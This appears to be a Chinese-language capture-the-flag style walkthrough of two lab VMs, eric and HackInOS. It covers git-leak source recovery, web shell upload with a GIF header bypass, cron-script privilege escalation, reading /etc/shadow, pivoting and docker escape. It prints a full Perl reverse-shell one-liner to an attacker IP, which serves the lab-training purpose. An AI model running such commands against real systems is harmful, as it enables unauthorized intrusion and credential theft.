渗透测试实战-eric靶机+HackInOS靶机入侵

 

前言

哈喽大家好!爱写靶机实战的文章的我又又来啦,最近靶机更新的有点多,小弟库存有点多,这篇写的2个靶机writeup,第一个靶机小弟拿到root_shell花了20分钟,你哪?哈哈哈….第二个靶机就比较有意思了,设计的很赞。建议大家看看。

 

靶机下载/安装

eric靶机:https://pan.baidu.com/s/1K8oNsUstcHjc5lg7x0Yixw

提取码:2nv9

HackInOS靶机:https://pan.baidu.com/s/17jXHtM-bePjChNolSx9hpw

提取码: ywzb

 

实战

eric靶机

靶机IP:172.16.24.91

下面老规矩我们用nmap开路

可以看到它开放了80端口,

可以看到上面的提示,说博客还没开发好。。。

那我们使用目录猜解工具跑一下吧。。。

看到了admin.php,我们访问一下看看

可以看到一个非常简单的登陆界面。。。 小伙伴们是不是准备要爆破?哈哈哈 其实不建议这么做,因为密码你肯定不可能爆破出来。。。

那么下一步我们怎么办呢?小弟这里就重新开启nmap,加上一些命令再跑一遍。。

如图:

可以看到有突破口了,/.git 这个相信大家都比较熟悉,平时真实工作中可能也能碰到,我们就不做废话了,直接使用lijiejie大神写的工具来完成吧。下载地址:

https://github.com/lijiejie/GitHack

可以看到成功拿到了 admin.php 文件,我们查看一下该源码

我们拿到了账号密码: admin – st@mpch0rdt.ightiRu$glo0mappL3

(密码这样的怎么破解。。。。捂脸表情)

直接登陆吧

然后就上传shell,在/upload 目录下拿访问shell

下一步就是反弹shell提权了

因为本靶机没有安装python,但是它安装了perl,

所以本次使用perl命令为:

perl -e 'use Socket;$i="172.16.24.81";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

然后我们拿到一个正常美观的shell,并且拿到了第一个flag,

下面我们就开始提权吧,通过上图可以看到/home/eric/目录下有backup.zip、backup.sh 2个敏感文件,且backup.sh 程序为root权限,我们还有权限修改。。我们先看一下该程序是做什么工作的,跟谈恋爱一样的 至少要了解人家是做什么工作的漂亮不漂亮 对吧,后期在扒人家。。。 呸 是后期再慢慢相互接触了解对吧,如图:

可以看到这里的代码很简单,就是压缩打包我们的网站目录。。。这样套路我们就不用怀疑了,直接修改该sh文件然后静静等待让它上来自己动就行了。。

如图:

注:小弟我这里当时试了很多命令,均都是连上后没办法操作或者连上就断了,最后使用的命令是 msf 生产sh文件完成的

具体操作如下截图:

最后我们就是静静地等待。。。。

来啊 快活啊,反正有….

成功拿到root-flag,该靶机还是比较简单的

本靶机完!

HackInOS靶机

靶机IP:172.16.24.71

这个靶机挺不错的,小伙伴们可以先不看文章教程,自己先搞一下试试。

老规矩nmap开路,

可以看到8000端口,使用了http服务,采用Wordpress搭建的。

下面nmap 也给我列出来/robots.txt 下的内容,小弟为了节省文章篇幅,就不截目录猜解的结果了,我们把目光放在 /upload.php 下

如上图,随意上传一个php,无法成功,给了我们一个笑脸….

然后习惯性右击查看源码,如图:

什么都没有。。。然后小弟就打开burp,准备看能不能饶过,结果发现了这个。。。

wtf?? 原来是写在了最后。。。 一下子粗心没下拉到最后…..

然后我们跟进这个GitHub项目看看,发现了该php上传点的源码

我们先来看一下该程序的判断规则是判断文件头,这里就比较简单了,在PHP马头部,加上 “GIF98” 即可绕过,成功上传。如图:

但是我们访问/upload/shell名字 却没有?为什么呢?

其实大家不知道有没有注意到上面源码中的第18、20行代码呢?可以看到程序对我们上传的shell名字然后加上1-100的数字,在进行md5 加密储存。。。。

那怎么办呢?我们就写python脚本吧,如图:

运行该程序后,我们就得到了一个shell名字+1-100数字合并并md5加密的字典列表,如图:

下一步我们继续上传一个shell(注:这里有2点需要说明,1. /upload目录下的文件上传成功后会很快被清除;2.这里我自己平时用的大马shell上传成功后,输入密码无法登陆无法正常使用)

所以小弟这次使用的是 weevely 生成的php马

下一步我们使用目录猜解工具,跑一下

后面使用weevely链接这个shell

成功后,我快速切换到网站根目录下上传了一个图形化的shell大马

下一步就是正常反弹shell提权了,

我们上传提权脚本,发现了这个

下面我们使用命令 tail -c1G /etc/shadow 拿到了root密码

下一步我们破解一下这个密文

得到root密码:john ,我们直接切换root,如图:

小伙伴们肯定以为到这里就结束了?哈哈哈哈 还没呢。。。革命还未完成,同志们还得继续努力啊,那我们继续找找翻翻看有没有什么突破口吧

继续继续

172.18.0.x 网段???

OK 我们先使用msf拿到一个反弹shell吧,操作如图:

下面复制这段代码,在root-shell 下运行,如图:

下一步添加上路由,探测一下该网段的情况吧

可以看到172.18.0.2 端口开放了 3306 mysql服务,我们找一下网站的账号密码看能不能登陆,如图:

成功登陆,我们继续看看

成功拿到md5密文,下一步就是破解该密文了,

下面我们登陆ssh 账号密码:hummingbirdscyber – 123456

成功登陆,下面我们继续探索。。。。

发现了docker?记得前面用提权脚本探测时,也发现了docker的身影,如图:

我们看一下docker的运行情况

下面我们直接以root身份,运行该docker虚拟机吧

成功登陆,最后就是拿flag了

 

结语

第一个靶机中的/.git/ 在实际工作中还是有碰到的,可能有些小伙伴会直接忽略,相信看了这篇文章,下次碰到应该也知道怎么利用了,第二个靶机个人觉得还是挺不错的,特别是flag放在docker环境下还是挺骚的。不一定以后ctf比赛中不一定会出现这种类似的情况哦。。哈哈哈哈!! 最后祝您及家人身体健康,感谢观看!

(完)